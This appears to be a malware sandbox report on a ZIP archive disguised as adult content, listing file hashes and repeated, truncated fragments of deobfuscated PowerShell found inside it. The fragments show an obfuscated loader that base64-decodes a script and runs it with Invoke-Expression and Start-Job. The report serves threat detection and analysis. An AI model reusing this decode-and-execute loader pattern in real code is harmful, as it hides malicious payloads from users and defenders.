Malicious

OnlyFans- Uma North.zip

ZIP Archive
|
MD5: a9d64ae6c494a5fe4e19e7ed4dc278c1
|
Size: 566.41 KB
|
application/zip

Infection Chain

Summary by MalvaGPT

Characteristics

Hash	Hash Value
MD5	a9d64ae6c494a5fe4e19e7ed4dc278c1
Sha1	78b55eb6c07f473287131a74ff4664013aa35648
Sha256	47e657db8b338bc174dcce4d2d0b3fb6b1dd18fc1fa7b6a9e2e3863d963939c5
Sha384	1f021849b46af7f2681db05bfd700b1b2edb05786c3ce6194d6cabfd35e62a3d67b7bc06967c57aab4acd39c1fb7e365
Sha512	e402a617b50639d6b98f3fdea487b556d58ece9fa9a23501cbd964b575f98afcd5cbbf43075efe20ca918ae142b8e63af5ac26640b85842ee02346fc8a857740
SSDeep	12288:Pi3Stk9Bxv6RYb7QgZXNm7Mel1B6z6zItzlnOPzZwo:PiiyliRiZ+trB6PBnOPVwo
TLSH	47C423B077D98877C1D09AB4C761005CDED60933B4997293CEB1A6FA19F824CB29E3D9

File Structure

Artefacts

Name0	Value
Deobfuscated PowerShell	oding]::unicode.getstring ([Convert]::"FromBase64String"($encodedScript)) Invoke-Expression $decodedScript $encodedScript = "JABiAGEAcwBlADYANAB"
Deobfuscated PowerShell	oding]::unicode.getstring ([Convert]::"FromBase64String"($encodedScript)) Invoke-Expression $decodedScript $encodedScript = "JABiAGEAcwBlADYANAB"
Deobfuscated PowerShell	ript "=" "[System.Text.Encoding]::Unicode.GetString" ([Convert]::"FromBase64String"($encodedScript)) Invoke-Expression $decodedScript $encodedScript
Deobfuscated PowerShell	ript "=" "[System.Text.Encoding]::Unicode.GetString" ([Convert]::"FromBase64String"($encodedScript)) Invoke-Expression $decodedScript $encodedScript
Deobfuscated PowerShell	qaaqbvag4a $decodedscript = [system.text.encoding]::unicode.getstring([system.convert]::frombase64string($encodedscript)) invoke-expression $decode
Deobfuscated PowerShell	qaaqbvag4a $decodedscript = [Encoding]::"unicode"."getstring"([Convert]::"frombase64string"($encodedscript)) Invoke-Expression $decode
Deobfuscated PowerShell	qaaqbvag4a $decodedscript = [Encoding]::"unicode"."getstring"([Convert]::"frombase64string"($encodedscript)) Invoke-Expression $decode
Deobfuscated PowerShell	odedscript "=" "[System.Text.Encoding]::Unicode.GetString" ([Convert]::"FromBase64String"($encodedScript)) Invoke-Expression $decodedScript $encod
Deobfuscated PowerShell	odedscript "=" "[System.Text.Encoding]::Unicode.GetString" ([Convert]::"FromBase64String"($encodedScript)) Invoke-Expression $decodedScript $encod
Deobfuscated PowerShell	dedscript "=" "[System.Text.Encoding]::Unicode.GetString" ([Convert]::"FromBase64String"($encodedScript)) Invoke-Expression $decodedScript $en
Deobfuscated PowerShell	dedscript "=" "[System.Text.Encoding]::Unicode.GetString" ([Convert]::"FromBase64String"($encodedScript)) Invoke-Expression $decodedScript $en
Deobfuscated PowerShell	wpubwhuzm5rzg5hywqiciagicagicagicagih0kicagicagicbdciagicb9cl0kj0a7 invoke-expression ([system.text.encoding]::utf8.getstring([system.convert]::from
Deobfuscated PowerShell	wpubwhuzm5rzg5hywqiciagicagicagicagih0kicagicagicbdciagicb9cl0kj0a7 Invoke-Expression ([Encoding]::"utf8"."getstring"([Convert]::"from"))
Deobfuscated PowerShell	wpubwhuzm5rzg5hywqiciagicagicagicagih0kicagicagicbdciagicb9cl0kj0a7 Invoke-Expression ([Encoding]::"utf8"."getstring"([Convert]::"from"))
Deobfuscated PowerShell	zablagmacgb5ahaadablagqargb1ag4aywb0agkabwbuaa== $decodedscript = [system.text.encoding]::unicode.getstring([system.convert]::frombase64string($enco
Deobfuscated PowerShell	zablagmacgb5ahaadablagqargb1ag4aywb0agkabwbuaa== $decodedscript = [Encoding]::"unicode"."getstring"([Convert]::"frombase64string"($enco))
Deobfuscated PowerShell	dedscript Invoke-Expression $decodedScript Start-Job -ScriptBlock your-lastfunction
Deobfuscated PowerShell	dedscript Invoke-Expression $decodedScript Start-Job -ScriptBlock "your-lastfunction"
Deobfuscated PowerShell	dedscript Invoke-Expression $decodedScript Start-Job -ScriptBlock "your-lastfunction"

OnlyFans- Uma North.zip (566.41 KB)

File Structure

Characteristics

No malware configuration were found at this point.

Artefacts

Name0	Value	Location
Deobfuscated PowerShell	oding]::unicode.getstring ([Convert]::"FromBase64String"($encodedScript)) Invoke-Expression $decodedScript $encodedScript = "JABiAGEAcwBlADYANAB" Malicious	OnlyFans- Uma North.zip > OnlyFans- Uma North > ReadmeHere > xxxTorrentCoverbooks435 > [Base64-Block]
Deobfuscated PowerShell	oding]::unicode.getstring ([Convert]::"FromBase64String"($encodedScript)) Invoke-Expression $decodedScript $encodedScript = "JABiAGEAcwBlADYANAB" Malicious	OnlyFans- Uma North.zip > OnlyFans- Uma North > ReadmeHere > xxxTorrentCoverbooks435 > [Base64-Block] > [Deobfuscated PS]
Deobfuscated PowerShell	ript "=" "[System.Text.Encoding]::Unicode.GetString" ([Convert]::"FromBase64String"($encodedScript)) Invoke-Expression $decodedScript $encodedScript Malicious	OnlyFans- Uma North.zip > OnlyFans- Uma North > ReadmeHere > xxxTorrentCoverbooks435 > [Base64-Block]
Deobfuscated PowerShell	ript "=" "[System.Text.Encoding]::Unicode.GetString" ([Convert]::"FromBase64String"($encodedScript)) Invoke-Expression $decodedScript $encodedScript Malicious	OnlyFans- Uma North.zip > OnlyFans- Uma North > ReadmeHere > xxxTorrentCoverbooks435 > [Base64-Block] > [Deobfuscated PS]
Deobfuscated PowerShell	qaaqbvag4a $decodedscript = [system.text.encoding]::unicode.getstring([system.convert]::frombase64string($encodedscript)) invoke-expression $decode Malicious	OnlyFans- Uma North.zip > OnlyFans- Uma North > ReadmeHere > xxxTorrentCoverbooks435 > [Base64-Block]
Deobfuscated PowerShell	qaaqbvag4a $decodedscript = [Encoding]::"unicode"."getstring"([Convert]::"frombase64string"($encodedscript)) Invoke-Expression $decode Malicious	OnlyFans- Uma North.zip > OnlyFans- Uma North > ReadmeHere > xxxTorrentCoverbooks435 > [Base64-Block] > [Deobfuscated PS]
Deobfuscated PowerShell	qaaqbvag4a $decodedscript = [Encoding]::"unicode"."getstring"([Convert]::"frombase64string"($encodedscript)) Invoke-Expression $decode Malicious	OnlyFans- Uma North.zip > OnlyFans- Uma North > ReadmeHere > xxxTorrentCoverbooks435 > [Base64-Block] > [Deobfuscated PS] > [Deobfuscated PS]
Deobfuscated PowerShell	odedscript "=" "[System.Text.Encoding]::Unicode.GetString" ([Convert]::"FromBase64String"($encodedScript)) Invoke-Expression $decodedScript $encod Malicious	OnlyFans- Uma North.zip > OnlyFans- Uma North > ReadmeHere > xxxTorrentCoverbooks435 > [Base64-Block]
Deobfuscated PowerShell	odedscript "=" "[System.Text.Encoding]::Unicode.GetString" ([Convert]::"FromBase64String"($encodedScript)) Invoke-Expression $decodedScript $encod Malicious	OnlyFans- Uma North.zip > OnlyFans- Uma North > ReadmeHere > xxxTorrentCoverbooks435 > [Base64-Block] > [Deobfuscated PS]
Deobfuscated PowerShell	dedscript "=" "[System.Text.Encoding]::Unicode.GetString" ([Convert]::"FromBase64String"($encodedScript)) Invoke-Expression $decodedScript $en Malicious	OnlyFans- Uma North.zip > OnlyFans- Uma North > ReadmeHere > xxxTorrentCoverbooks435 > [Base64-Block]
Deobfuscated PowerShell	dedscript "=" "[System.Text.Encoding]::Unicode.GetString" ([Convert]::"FromBase64String"($encodedScript)) Invoke-Expression $decodedScript $en Malicious	OnlyFans- Uma North.zip > OnlyFans- Uma North > ReadmeHere > xxxTorrentCoverbooks435 > [Base64-Block] > [Deobfuscated PS]
Deobfuscated PowerShell	wpubwhuzm5rzg5hywqiciagicagicagicagih0kicagicagicbdciagicb9cl0kj0a7 invoke-expression ([system.text.encoding]::utf8.getstring([system.convert]::from Malicious	OnlyFans- Uma North.zip > OnlyFans- Uma North > ReadmeHere > xxxTorrentCoverbooks435 > [Base64-Block]
Deobfuscated PowerShell	wpubwhuzm5rzg5hywqiciagicagicagicagih0kicagicagicbdciagicb9cl0kj0a7 Invoke-Expression ([Encoding]::"utf8"."getstring"([Convert]::"from")) Malicious	OnlyFans- Uma North.zip > OnlyFans- Uma North > ReadmeHere > xxxTorrentCoverbooks435 > [Base64-Block] > [Deobfuscated PS]
Deobfuscated PowerShell	wpubwhuzm5rzg5hywqiciagicagicagicagih0kicagicagicbdciagicb9cl0kj0a7 Invoke-Expression ([Encoding]::"utf8"."getstring"([Convert]::"from")) Malicious	OnlyFans- Uma North.zip > OnlyFans- Uma North > ReadmeHere > xxxTorrentCoverbooks435 > [Base64-Block] > [Deobfuscated PS] > [Deobfuscated PS]
Deobfuscated PowerShell	zablagmacgb5ahaadablagqargb1ag4aywb0agkabwbuaa== $decodedscript = [system.text.encoding]::unicode.getstring([system.convert]::frombase64string($enco Malicious	OnlyFans- Uma North.zip > OnlyFans- Uma North > ReadmeHere > xxxTorrentCoverbooks435 > [Base64-Block]
Deobfuscated PowerShell	zablagmacgb5ahaadablagqargb1ag4aywb0agkabwbuaa== $decodedscript = [Encoding]::"unicode"."getstring"([Convert]::"frombase64string"($enco)) Malicious	OnlyFans- Uma North.zip > OnlyFans- Uma North > ReadmeHere > xxxTorrentCoverbooks435 > [Base64-Block] > [Deobfuscated PS]
Deobfuscated PowerShell	dedscript Invoke-Expression $decodedScript Start-Job -ScriptBlock your-lastfunction Malicious	OnlyFans- Uma North.zip > OnlyFans- Uma North > ReadmeHere > xxxTorrentCoverbooks435 > [Base64-Block]
Deobfuscated PowerShell	dedscript Invoke-Expression $decodedScript Start-Job -ScriptBlock "your-lastfunction" Malicious	OnlyFans- Uma North.zip > OnlyFans- Uma North > ReadmeHere > xxxTorrentCoverbooks435 > [Base64-Block] > [Deobfuscated PS]
Deobfuscated PowerShell	dedscript Invoke-Expression $decodedScript Start-Job -ScriptBlock "your-lastfunction" Malicious	OnlyFans- Uma North.zip > OnlyFans- Uma North > ReadmeHere > xxxTorrentCoverbooks435 > [Base64-Block] > [Deobfuscated PS] > [Deobfuscated PS]

You must be signed in to post a comment.

An error has occurred. This application may no longer respond until reloaded. Reload 🗙